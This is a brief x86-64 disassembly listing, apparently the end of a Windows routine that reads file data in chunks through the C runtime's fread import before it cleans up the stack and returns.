add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140017fae
cmp rbx, rax
ja 0x140017f60
test rbx, rbx
je 0x140017fae
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret